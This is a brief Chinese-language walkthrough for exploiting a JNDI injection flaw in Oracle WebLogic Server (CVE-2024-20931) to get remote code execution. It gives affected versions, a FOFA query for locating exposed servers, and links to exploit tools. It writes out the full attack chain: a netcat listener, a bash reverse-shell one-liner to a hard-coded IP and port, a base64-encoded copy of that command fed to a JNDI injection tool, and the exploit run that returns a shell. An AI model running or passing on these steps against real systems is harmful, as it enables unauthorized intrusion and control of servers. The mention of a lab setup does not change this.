简介
Oracle WebLogic Server存在JNDI注入漏洞,攻击者可通过构造恶意请求,导致远程代码执行。
影响版本
- 12.2.1.4.0
- 14.1.1.0.0
FOFA
"WebLogic Server 版本: 12.2.1.4.0"
漏洞利用
环境搭建
Docker环境:

访问web界面:

漏洞验证
漏洞利用工具
Github:https://github.com/dinosn/CVE-2024-20931

开启nc监听
nc -lvnp 8868

运行漏洞利用工具
java -jar CVE-2024-20931.jar

收到主机请求,说明漏洞存在

漏洞利用
JNDI注入工具
Github:https://github.com/welk1n/JNDI-Injection-Exploit
生成反弹shell命令
工具地址:https://www.revshells.com/ 原始命令:
bash -i >& /dev/tcp/10.159.58.152/8868 0>&1

启动JNDI注入工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNTkuNTguMTUyLzg4NjggMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.159.58.152"
记住LDAP的地址

开启本地监听
nc -lvnp 8868

运行漏洞利用工具
在工具中输入LDAP地址
java -jar CVE-2024-20931.jar
查看nc反弹shell,完成命令执行
